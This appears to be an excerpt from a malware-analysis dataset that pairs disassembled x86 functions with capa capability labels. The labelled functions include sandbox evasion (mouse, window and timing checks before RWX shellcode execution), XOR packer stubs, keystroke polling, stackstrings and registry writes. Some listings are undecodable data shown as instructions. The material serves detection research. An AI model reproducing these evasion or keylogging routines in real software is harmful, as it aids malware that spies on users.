joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401000
Capabilities:
Allocate or change rwx memory
Check for foreground window switch
Check for time delay via gettickcount
Check for unmoving mouse cursor
Execute shellcode via indirect call

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x20
mov eax, dword [0x403008]
cmp eax, 0
jne 0x401021
mov eax, dword [0x40300c]
cmp eax, 0
jne 0x401021
jmp 0x4010b6
call sub.KERNEL32.dll_GetTickCount
mov dword [ebp - 4], eax
push 0x1388
call sub.KERNEL32.dll_Sleep
call sub.USER32.dll_GetForegroundWindow
cmp eax, 0
je 0x401021
mov dword [ebp - 0x14], eax
call sub.KERNEL32.dll_GetTickCount
sub eax, dword [ebp - 4]
cmp eax, 0x1388
jl 0x401021
lea eax, [ebp - 8]
push eax
call sub.USER32.dll_GetCursorPos
cmp eax, 0
je 0x401021
mov eax, dword [0x403008]
cmp eax, 0
je 0x401093
push 0x3e8
call sub.KERNEL32.dll_Sleep
lea eax, [ebp - 0x10]
push eax
call sub.USER32.dll_GetCursorPos
cmp eax, 0
je 0x401067
mov eax, dword [ebp - 4]
mov ebx, dword [ebp - 0xc]
cmp eax, ebx
je 0x401021
mov eax, dword [ebp - 8]
mov ebx, dword [ebp - 0x10]
cmp eax, ebx
je 0x401067
mov eax, dword [0x40300c]
cmp eax, 0
je 0x4010b6
push 0x1388
call sub.KERNEL32.dll_Sleep
call sub.USER32.dll_GetForegroundWindow
cmp eax, 0
je 0x401093
cmp eax, dword [ebp - 0x14]
je 0x401093
push dword [section.data]
mov eax, 0x40301a
mov ebx, 0x40322a
sub ebx, eax
push ebx
push 0x40301a
call fcn.00402bce
lea eax, [ebp - 4]
push eax
push 0x40
mov eax, 0x40112a
mov ebx, fcn.00402bce
sub ebx, eax
push ebx
push 0x40112a
call sub.KERNEL32.dll_VirtualProtect
push dword [0x403004]
mov eax, 0x40112a
mov ebx, fcn.00402bce
sub ebx, eax
push ebx
push 0x40112a
call fcn.00402bce
lea eax, [ebp - 4]
push eax
push dword [eax]
mov eax, 0x40112a
mov ebx, fcn.00402bce
sub ebx, eax
push ebx
push 0x40112a
call sub.KERNEL32.dll_VirtualProtect
inc esp
inc esp
inc esp
inc esp
inc esp
inc esp
inc esp
inc esp
inc esp
inc esp
cmp al, 0x2d
int 0
add byte [esp + ecx - 0x43ffff30], bh
invalid

Function at 0x430000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..text
nop
nop
mov ebx, 0x408ecc
nop
mov ecx, 0x68210720
nop
test eax, eax
nop
nop
nop
nop
nop
je 0x43004e
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
jne 0x430024
nop
nop
nop
mov eax, section..data
nop
mov ebx, 0x42e1d0
mov ecx, 0x45831255
nop
nop
test eax, eax
nop
nop
nop
nop
nop
nop
je 0x430084
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
add eax, 4
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
jne 0x43006c
nop
nop
nop
nop
popal
nop
nop
nop
nop
jmp 0x401219
Function at 0x10031fa8
Capabilities:
Encode data using xor

Disassembly:
push ebx
push ebp
mov ebx, edx
mov dword [esp + 0xc], eax
xor ecx, ecx
mov ebp, dword [esp + 0xc]
movzx eax, byte [0x10033004]
test eax, eax
jle 0x10031fe9
shld ebp, ebp, 0xb
add ebp, 0x4d38337d
shld ebp, ebp, 4
add ebp, 0x5c204bb9
movzx edx, byte [ecx + 0x10033005]
xor edx, ebp
mov byte [ebx + ecx], dl
inc ecx
movsx ecx, cl
cmp ecx, eax
jl 0x10031fc1
mov byte [ecx + ebx], 0
mov eax, ebx
pop ebp
pop ebx
ret

Function at 0x433005
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
call 0x43300c
pop eax
nop
nop
nop
nop
nop
add eax, 0x40a063
nop
nop
sub eax, 0x40a009
nop
mov ebx, dword [eax]
nop
nop
nop
nop
nop
nop
mov ecx, dword [eax + 4]
mov edx, dword [eax + 8]
nop
nop
nop
nop
xor dword [ebx], edx
nop
nop
nop
nop
add ebx, 4
nop
nop
nop
nop
cmp ebx, ecx
nop
nop
nop
nop
nop
nop
jl 0x433030
nop
nop
add eax, 0xc
nop
cmp dword [eax], 0
nop
nop
nop
jne 0x43301e
nop
nop
nop
nop
nop
popal
nop
nop
nop
nop
jmp 0x431219
Function at 0x44bad0
Capabilities:
Log keystrokes via polling

Disassembly:
push esi
mov esi, ecx
push edi
mov edi, edx
mov dword [esi], 0
mov al, byte [0x66304a]
mov cl, byte [0x66304d]
mov edx, dword [0x663030]
and cl, al
mov eax, dword [0x663034]
mov byte [0x66304d], cl
mov ecx, eax
shr ecx, 2
sub edx, ecx
xor ecx, ecx
mov cl, byte [0x663043]
mov dword [0x663030], edx
mov edx, dword [0x663038]
or edx, 7
imul edx, ecx
and eax, edx
mov dword [0x663034], eax
call fcn.0044ba10
mov edx, dword [0x666aac]
push edx
call dword [sym.imp.GDI32.dll_SaveDC]
mov dword [esi], eax
mov eax, dword [0x666aac]
push eax
call dword [sym.imp.ole32.dll_CoRevokeClassObject]
push 0
call sub.comdlg32.dll_FindTextW
push edi
call dword [sym.imp.USER32.dll_GetKeyState]
test ax, ax
jge 0x44bb5b
or dword [esi], 0x2000000
mov eax, esi
pop edi
pop esi
ret

Function at 0x6337e8
Capabilities:
Encode data using xor

Disassembly:
outsb dx, byte [esi]
aaa
invalid
in al, dx
xchg ebx, eax
fisttp dword [ebp + 0x220257f8]
dec ebx
dec ecx
scasb al, byte es:[edi]
into
cmp ecx, dword [edi]
or byte [ecx - 0xcdaca21], dh
xchg dword [esi], esi
lodsb al, byte [esi]
dec esp
xor ah, byte [edx + 0x4baa4cf9]
invalid
cmp dword [edx - 0x41], 0x640d3733
jnp 0x633790
jp 0x6337aa
xor esi, dword [edi]
or eax, 0x409f7b64
inc eax
sbb dword [edi], eax
push ss
jp 0x6337e9
or ecx, dword [edi + 0x5de15564]
jo 0x633857
sub eax, 0x2def3db7
cmc
mov esi, 0xbc44d234
clc
pop esp
xchg ebp, eax
retf
aad 0xb8
enter 0x2606, 0xffffffffffffff89
std
das
inc edx
and ebx, dword [edi + 0x37]
mov edx, 0x6b1e3c7f
movsd dword es:[edi], dword [esi]
inc ebx
or ch, bl
pop edx
mov dword [esi + 0x202c979e], esi
out dx, al
mov eax, dword [0x5ddc22db]
int 0xc6
sbb byte [ecx], bh
bound esi, qword [edi]
sbb esi, edx
mov byte [0x803dd53], al
add ecx, dword [eax]
and eax, 0xd7babc6b
cmp eax, 0x13a7eb73
fbld tbyte cs:[edi - 0x2c]
xchg ebp, eax
fcomp qword [ecx]
lock add bl, byte cs:[edi - 5]
lock add bl, byte [edi - 5]
fucomi st(4)
out 0xf3, al
add al, 0x2a
in al, dx
inc edx
jle 0x6338a4
in al, 0x53
push ebx
ficom word [esi + ecx*2]
push ebx
fisttp dword [ebx]
sbb edi, 0xebe393a8
fdiv qword [ecx]
loop 0x633828
xchg edx, eax
sar cl, 1
pop ss
adc edx, dword [edi + 0x7f]
jne 0x6338a6
pop eax
cmp al, 0x97
imul ebx, dword [ebx - 0x1b40272b], 0xa5df1202
mov ebp, 0xcdc5e0fb
mov ecx, 0xf4c53769
into
aad 0x31
salc
loopne 0x63386b
int 0xb9
imul esi, dword [edi], 0xd5cef4c5
xor esi, edx
cdq
retf 0xbb1f
Function at 0x659ded
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1a4
mov edx, dword [ebp + 8]
xor ecx, ecx
mov eax, 0x663398
cmp edx, dword [eax]
je 0x659e0f
add eax, 8
inc ecx
cmp eax, 0x663428
jl 0x659e00
push esi
mov esi, ecx
shl esi, 3
cmp edx, dword [esi + 0x663398]
jne 0x659f3d
mov eax, dword [0xa600f4]
cmp eax, 1
je 0x659f17
test eax, eax
jne 0x659e40
cmp dword [0x6632c4], 1
je 0x659f17
cmp edx, 0xfc
je 0x659f3d
lea eax, [ebp - 0x1a4]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x659e77
lea eax, [ebp - 0x1a4]
push 0x65fc60
push eax
call fcn.0065a7d0
pop ecx
pop ecx
lea eax, [ebp - 0x1a4]
push edi
push eax
lea edi, [ebp - 0x1a4]
call fcn.0065ac60
inc eax
pop ecx
cmp eax, 0x3c
jbe 0x659eba
lea eax, [ebp - 0x1a4]
push eax
call fcn.0065ac60
mov edi, eax
lea eax, [ebp - 0x1a4]
sub eax, 0x3b
push 3
add edi, eax
push 0x65fc5c
push edi
call fcn.0065cb30
add esp, 0x10
lea eax, [ebp - 0xa0]
push 0x65fc40
push eax
call fcn.0065a7d0
lea eax, [ebp - 0xa0]
push edi
push eax
call fcn.0065a7e0
lea eax, [ebp - 0xa0]
push 0x65fc3c
push eax
call fcn.0065a7e0
push dword [esi + 0x66339c]
lea eax, [ebp - 0xa0]
push eax
call fcn.0065a7e0
push 0x12010
lea eax, [ebp - 0xa0]
push 0x65fc14
push eax
call fcn.0065caa4
add esp, 0x2c
pop edi
jmp 0x659f3d
lea eax, [ebp + 8]
lea esi, [esi + 0x66339c]
push 0
push eax
push dword [esi]
call fcn.0065ac60
pop ecx
push eax
push dword [esi]
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
pop esi
leave
ret
Function at 0x413aa0
Capabilities:
Encode data using xor

Disassembly:
xchg edx, eax
add ch, byte [eax]
inc esi
add al, byte [eax]
push es
sub al, 0x1b
sub byte [0x2060002], bh
add eax, dword [ebx]
sub byte [eax + eax], al
push es
add al, 0xe
add al, 0x7e
insd dword es:[edi], dx
add byte [eax], al
or al, byte [0x6e6f]
or ch, byte [edx]
add byte [eax], al
add byte [ebx], dl
xor byte [edx], al
add byte [eax], bl
add byte [eax], al
add byte [eax], dl
add byte [eax], al
adc dword [edx - 0x3d], esi
add eax, 0x28027000
outsd dx, dword [esi]
add byte [eax], al
add byte [edx], cl
sub byte [eax], ch
add byte [eax], al
or cl, byte [edx]
push es
add byte [edx], cl
sub byte [eax], ch
add byte [eax], al
or cl, byte [edx]
push es
sub byte [edx], cl
add byte [eax], al
push es
sub dh, byte [edx]
jb 0x413a63
add dword [eax], eax
jo 0x413aca
jae 0x413b28
add byte [eax], al
or ch, byte [edx]
ljmp 0x20
add byte [eax], ch
jno 0x413ace
add byte [edx], cl
add al, byte [0x6d7d]
add al, 2
push cs
add al, 0x7d
push 0
add byte [edx + eax], al
add byte [edx], cl
sub bl, byte [ebx]
xor byte [esi], al
Function at 0x100017c0
Capabilities:
Contain obfuscated stackstrings
Inspect section memory permissions

Disassembly:
fld dword [esi + eax*8 + 0x45]
fimul dword [edx - 0x3a]
inc ebp
fisttp dword [edi - 0x3a]
inc ebp
fsub qword [edi - 0x3a]
inc ebp
fld qword [edx - 0x3a]
inc ebp
fimul word [ecx - 0x3a]
inc ebp
fistp word [ecx - 0x3a]
inc ebp
loopne 0x10001828
mov byte [ebp - 0x1f], 0x59
mov byte [ebp - 0x1e], 0x52
mov byte [ebp - 0x1d], 0x6a
mov byte [ebp - 0x1c], 0x2b
call fcn.1000139d
push eax
push esi
push dword [ebp + 8]
call fcn.10001352
add esp, 0x30
mov dword [ebp - 0xb8], eax
call fcn.1000138d
push ebx
ljmp 0xffff
mov byte [ebp - 0x80], 0x51
mov byte [ebp - 0x7f], 0x73
mov byte [ebp - 0x7e], 0x62
mov byte [ebp - 0x7d], 0x5b
mov byte [ebp - 0x7c], 0x79
mov byte [ebp - 0x7b], 0x72
mov byte [ebp - 0x7a], 0x63
mov byte [ebp - 0x79], 0x7a
mov byte [ebp - 0x78], 0x73
mov byte [ebp - 0x77], 0x5e
mov byte [ebp - 0x76], 0x77
mov byte [ebp - 0x75], 0x78
mov byte [ebp - 0x74], 0x72
mov byte [ebp - 0x73], 0x7a
mov byte [ebp - 0x72], 0x73
mov byte [ebp - 0x71], 0x57
mov byte [ebp - 0x70], 0x16
call fcn.1000138d
push esi
jl 0x1000188a
ror dword [ebp - 0x837b], 0xff
push eax
call fcn.1000139d
push eax
push esi
push dword [ebp + 8]
call fcn.10001352
add esp, 0x10
mov dword [ebp - 0xc0], eax
push 0x40
push 0x1000
push dword [ebp + 0xc]
push ebx
call dword [ebp - 0x88]
mov esi, eax
cmp esi, ebx
je 0x10001b86
inc dword [ebx - 0x7a76ef3c]
inc eax
invalid
push dword [ebp - 0xb4]
push dword [ebp + 0x10]
push esi
call fcn.100012fe
add esp, 0xc
cmp word [edi + 6], bx
mov dword [ebp + 0xc], ebx
jbe 0x100018fd
movzx eax, word [ebp + 0xc]
mov ecx, dword [ebp - 0x44]
lea eax, [eax + eax*4]
push dword [ecx + eax*8 + 0x10]
lea eax, [ecx + eax*8]
mov ecx, dword [eax + 0x14]
mov eax, dword [eax + 0xc]
add ecx, dword [ebp + 0x10]
add eax, esi
push ecx
push eax
call fcn.100012fe
add esp, 0xc
inc dword [ebp + 0xc]
mov ax, word [ebp + 0xc]
cmp ax, word [edi + 6]
jb 0x100018ca
call fcn.1000138d
aas
cmp edi, eax
insd dword es:[edi], dx
mov edi, dword [esi + 0x3c]
add edi, esi
mov dword [ebp - 0x88], edi
mov eax, dword [edi + 0x80]
cmp eax, ebx
je 0x10001b7c
add eax, esi
mov dword [ebp - 0x44], eax
Function at 0x4116e3
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
mov edx, dword [ebp + 0xc]
push esi
mov esi, ecx
test edx, edx
jne 0x4116f5
push 0xd
pop eax
jmp 0x411727
mov ecx, edx
push ebx
push edi
xor ebx, ebx
lea edi, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
cmp ax, bx
jne 0x4116fe
sub ecx, edi
sar ecx, 1
lea eax, [ecx*2 + 2]
push eax
push edx
push dword [ebp + 0x10]
push ebx
push dword [ebp + 8]
push dword [esi]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
pop edi
pop ebx
pop esi
pop ebp
ret 0xc

Function at 0x41172c
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
mov edx, dword [ebp + 0xc]
push ebx
mov ebx, ecx
test edx, edx
jne 0x41173f
push 0xd
pop eax
jmp 0x411783
push esi
xor eax, eax
push edi
mov dword [ebp + 0xc], eax
mov esi, eax
mov edi, edx
mov ecx, edi
lea eax, [ecx + 2]
mov dword [ebp - 4], eax
mov ax, word [ecx]
add ecx, 2
cmp ax, word [ebp + 0xc]
jne 0x411752
sub ecx, dword [ebp - 4]
sar ecx, 1
inc ecx
lea edi, [edi + ecx*2]
lea esi, [esi + ecx*2]
cmp ecx, 1
jne 0x41174a
push esi
push edx
push 7
xor eax, eax
push eax
push dword [ebp + 8]
push dword [ebx]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
Function at 0x411cd0
Capabilities:
Query or enumerate registry key

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x224
mov eax, dword [0x5f2114]
xor eax, esp
mov dword [esp + 0x220], eax
push ebx
push esi
push edi
xor eax, eax
lea edi, [esp + 0x10]
stosd dword es:[edi], eax
mov ebx, ecx
mov ecx, dword [ebp + 8]
mov dword [esp + 0xc], ecx
stosd dword es:[edi], eax
stosd dword es:[edi], eax
mov eax, dword [ebx + 4]
xor edi, edi
or eax, 0x2001f
mov dword [esp + 0x10], edi
push eax
push ecx
push dword [ebx]
lea ecx, [esp + 0x1c]
mov dword [esp + 0x20], edi
mov dword [esp + 0x24], edi
call fcn.004031a2
mov esi, eax
test esi, esi
jne 0x411d90
lea eax, [esp + 0x20]
push eax
push edi
push edi
push edi
lea eax, [esp + 0x2c]
push eax
lea eax, [esp + 0x3c]
push eax
push edi
mov edi, dword [sym.imp.ADVAPI32.dll_RegEnumKeyExW]
jmp 0x411d68
lea eax, [esp + 0x28]
push eax
call fcn.00411cd0
mov esi, eax
test esi, esi
jne 0x411d90
lea eax, [esp + 0x20]
xor ecx, ecx
push eax
push ecx
push ecx
push ecx
lea eax, [esp + 0x2c]
push eax
lea eax, [esp + 0x3c]
push eax
push ecx
push dword [esp + 0x2c]
mov dword [esp + 0x3c], 0x100
call edi
lea ecx, [esp + 0x10]
test eax, eax
je 0x411d43
call fcn.0040321c
push dword [esp + 0xc]
mov ecx, ebx
call fcn.00411e51
mov esi, eax
lea ecx, [esp + 0x10]
call fcn.0040321c
mov ecx, dword [esp + 0x22c]
mov eax, esi
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.00531668
mov esp, ebp
pop ebp
ret 4
Function at 0x41283e
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push 0x428
mov eax, 0x57f5ee
call fcn.005321c7
mov eax, dword [ebp + 0xc]
xor esi, esi
mov ebx, dword [ebp + 8]
mov dword [ebp - 0x42c], eax
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0x428], eax
mov dword [ebp - 0x20], esi
push 0x404
lea eax, [ebp - 0x424]
mov dword [ebp - 4], esi
push esi
push eax
mov dword [ebp - 0x18], ecx
mov dword [ebp - 0x1c], esi
call fcn.0054b330
add esp, 0xc
mov dword [ebp - 0x424], esi
push 0x60
push esi
push ebx
mov byte [ebp - 4], 1
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov edi, eax
mov dword [ebp - 0x430], edi
test edi, edi
jne 0x4128c7
push 2
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov edi, eax
mov dword [ebp - 0x430], eax
test edi, edi
jne 0x4128c7
call fcn.004110ba
mov esi, eax
jmp 0x4129c8
push dword [ebp - 0x428]
push dword [ebp - 0x42c]
push edi
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov ebx, eax
test ebx, ebx
jne 0x4128ea
call fcn.004110ba
jmp 0x4129bb
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov dword [ebp - 0x428], eax
test eax, eax
je 0x4128e0
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov ebx, eax
mov dword [ebp - 0x42c], ebx
lea eax, [ebx + 1]
cmp eax, ebx
jae 0x41291d
mov esi, 0x8007000e
jmp 0x4129bd
push 2
push eax
mov byte [ebp - 4], 2
call fcn.004117bd
pop ecx
pop ecx
cmp eax, 0x400
jbe 0x412940
push eax
lea ecx, [ebp - 0x424]
call fcn.00411095
jmp 0x41296d
lea eax, [ebp - 0x420]
mov dword [ebp - 0x424], eax
jmp 0x41296d
mov dword [ebp - 4], 1
cmp dword [ebp - 0x424], 0
je 0x412913
push ebx
push dword [ebp - 0x424]
push ebx
push dword [ebp - 0x428]
push esi
push 3
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
mov ecx, eax
test ecx, ecx
je 0x4128e0
mov eax, dword [ebp - 0x424]
xor edx, edx
push dword [ebp + 0x14]
mov word [eax + ecx*2], dx
lea ecx, [ebp - 0x1c]
push dword [ebp - 0x424]
call fcn.004126e7
mov esi, eax
test edi, edi
je 0x4129c8
push edi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
lea eax, [ebp - 0x420]
cmp dword [ebp - 0x424], eax
je 0x4129e1
lea ecx, [ebp - 0x424]
call fcn.00411080
mov eax, esi
call fcn.00532114
ret 0x10
Function at 0x412c81
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov eax, dword [0x5f2114]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov edx, dword [ebp + 8]
xor ebx, ebx
push esi
mov esi, dword [ebp + 0xc]
push edi
mov edi, dword [ebp + 0x10]
mov eax, dword [edi]
add eax, eax
mov dword [edi], ebx
mov dword [ebp - 0xc], eax
lea eax, [ebp - 0xc]
push eax
push esi
lea eax, [ebp - 8]
push eax
push ebx
push edx
push dword [ecx]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x412cf8
cmp dword [ebp - 8], 1
je 0x412cd0
cmp dword [ebp - 8], 2
je 0x412cd0
push 0xd
pop eax
jmp 0x412cf8
mov ecx, dword [ebp - 0xc]
test esi, esi
je 0x412cf2
test ecx, ecx
je 0x412ced
test cl, 1
jne 0x412ccb
mov eax, ecx
shr eax, 1
cmp word [esi + eax*2 - 2], bx
je 0x412cf2
jmp 0x412ccb
xor eax, eax
mov word [esi], ax
shr ecx, 1
xor eax, eax
mov dword [edi], ecx
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00531668
mov esp, ebp
pop ebp
ret 0xc
Function at 0x41b407
Capabilities:
Get disk information

Disassembly:
push 0x268
mov eax, 0x57fc9c
call fcn.00532159
mov esi, dword [ebp + 8]
xor eax, eax
mov ebx, dword [ebp + 0xc]
test esi, esi
mov edi, dword [ebp + 0x10]
setne al
mov dword [ebp - 0x264], esi
test eax, eax
jne 0x41b435
call fcn.00415ace
xor eax, eax
test ebx, ebx
setne al
test eax, eax
je 0x41b430
lea eax, [ebp - 0x268]
push eax
push esi
push 0x104
push ebx
call dword [sym.imp.KERNEL32.dll_GetFullPathNameW]
test eax, eax
jne 0x41b47d
push 0xffffffffffffffff
push ebx
push 0x104
push esi
call fcn.00555868
push eax
call fcn.004030a2
add esp, 0x14
push ebx
push edi
call fcn.0041b3da
xor eax, eax
jmp 0x41b5a0
cmp eax, 0x104
jb 0x41b49a
test edi, edi
je 0x41b476
push ebx
lea ecx, [edi + 0x10]
mov dword [edi + 8], 3
call fcn.0041631f
jmp 0x41b476
call fcn.0041721b
push eax
lea ecx, [ebp - 0x26c]
call fcn.004132a7
and dword [ebp - 4], 0
lea eax, [ebp - 0x26c]
push eax
push esi
call fcn.0041ad91
mov esi, dword [ebp - 0x26c]
push esi
call dword [sym.imp.SHLWAPI.dll_PathIsUNCW]
test eax, eax
jne 0x41b595
xor ecx, ecx
lea eax, [ebp - 0x270]
push ecx
push ecx
push eax
lea eax, [ebp - 0x274]
push eax
push ecx
push ecx
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationW]
test eax, eax
jne 0x41b505
push ebx
push edi
call fcn.0041b3da
lea ecx, [esi - 0x10]
call fcn.004138b8
jmp 0x41b476
mov eax, dword [ebp - 0x270]
test al, 2
jne 0x41b521
push dword [ebp - 0x264]
call dword [sym.imp.USER32.dll_CharUpperW]
mov eax, dword [ebp - 0x270]
test al, 4
jne 0x41b595
lea eax, [ebp - 0x260]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
cmp eax, 0xffffffff
je 0x41b595
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
mov eax, dword [ebp - 0x268]
test eax, eax
je 0x41b4f1
cmp eax, dword [ebp - 0x264]
jbe 0x41b4f1
lea eax, [ebp - 0x234]
push eax
call fcn.0055c2ea
mov edx, dword [ebp - 0x268]
sub edx, dword [ebp - 0x264]
sar edx, 1
pop ecx
add eax, edx
mov ecx, 0x104
cmp eax, ecx
jge 0x41b5a8
lea eax, [ebp - 0x234]
sub ecx, edx
push eax
push ecx
push dword [ebp - 0x268]
call fcn.00554be7
push eax
call fcn.004030a2
add esp, 0x10
lea ecx, [esi - 0x10]
call fcn.004138b8
xor eax, eax
inc eax
call fcn.00532103
ret 0xc
test edi, edi
je 0x41b4f8
push ebx
lea ecx, [edi + 0x10]
mov dword [edi + 8], 3
call fcn.0041631f
jmp 0x41b4f8
Function at 0x41ca44
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
mov esi, dword [ebp + 8]
lea eax, [ebp - 4]
push eax
push dword [ebp + 0xc]
mov ecx, dword [esi + 4]
call fcn.0041ced2
push 0xfffffffffffffff0
push dword [ebp - 4]
call dword [sym.imp.USER32.dll_GetWindowLongW]
push dword [ebp + 0xc]
and eax, 3
mov ecx, esi
cmp al, 3
je 0x41ca80
call fcn.0041cc63
mov dword [esi + 0xc], 1
jmp 0x41ca85
call fcn.0041cc63
cmp dword [esi], 0
je 0x41cace
push dword [ebp - 4]
call dword [sym.imp.USER32.dll_GetWindowTextLengthW]
mov esi, dword [ebp + 0x10]
test eax, eax
jle 0x41caa8
lea ecx, [eax + 1]
push ecx
push eax
mov ecx, esi
call fcn.0041738d
jmp 0x41cab9
push 0xff
mov ecx, esi
call fcn.0041495f
push 0x100
push eax
push dword [ebp - 4]
call dword [sym.imp.USER32.dll_GetWindowTextW]
push 0xffffffffffffffff
mov ecx, esi
call fcn.004173b0
jmp 0x41caf2
mov esi, dword [ebp + 0x10]
push dword [esi]
push 0xffffffffffffffff
push 0x14d
push dword [ebp - 4]
call dword [sym.imp.USER32.dll_SendMessageW]
cmp eax, 0xffffffff
jne 0x41caf2
push dword [esi]
push dword [ebp - 4]
call fcn.0041c010
pop esi
mov esp, ebp
pop ebp
ret 0xc

Function at 0x41cbb8
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 8]
mov ecx, esi
push edi
push dword [ebp + 0xc]
call fcn.0041cc63
cmp dword [esi], 0
mov edi, eax
mov dword [esi + 0xc], 1
je 0x41cc00
push edi
call dword [sym.imp.USER32.dll_GetWindowTextLengthW]
lea ecx, [eax + 1]
push ecx
mov ecx, dword [ebp + 0x10]
push eax
call fcn.0041738d
push eax
push edi
call dword [sym.imp.USER32.dll_GetWindowTextW]
mov ecx, dword [ebp + 0x10]
push 0xffffffffffffffff
call fcn.004173b0
jmp 0x41cc0b
mov eax, dword [ebp + 0x10]
push dword [eax]
push edi
call fcn.0041c010
pop edi
pop esi
pop ebp
ret 0xc

Function at 0x41cf43
Capabilities:
Get graphical window text

Disassembly:
push 4
mov eax, 0x587736
call fcn.00532125
mov edi, ecx
xor esi, esi
cmp dword [edi + 0x74], esi
jne 0x41cf69
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [edi + 0x20]
call dword [sym.imp.USER32.dll_GetWindowTextW]
jmp 0x41cfbd
call fcn.0041721b
push eax
lea ecx, [ebp - 0x10]
call fcn.004132a7
mov ecx, dword [edi + 0x74]
lea edx, [ebp - 0x10]
push edx
mov dword [ebp - 4], esi
mov eax, dword [ecx]
call dword [eax + 0x8c]
mov edi, dword [ebp + 8]
push 0xffffffffffffffff
push dword [ebp - 0x10]
push dword [ebp + 0xc]
push edi
call fcn.00555868
push eax
call fcn.004030a2
add esp, 0x14
test edi, edi
je 0x41cfb0
push edi
call fcn.0055c2ea
pop ecx
mov esi, eax
mov ecx, dword [ebp - 0x10]
add ecx, 0xfffffff0
call fcn.004138b8
mov eax, esi
call fcn.005320ee
ret 8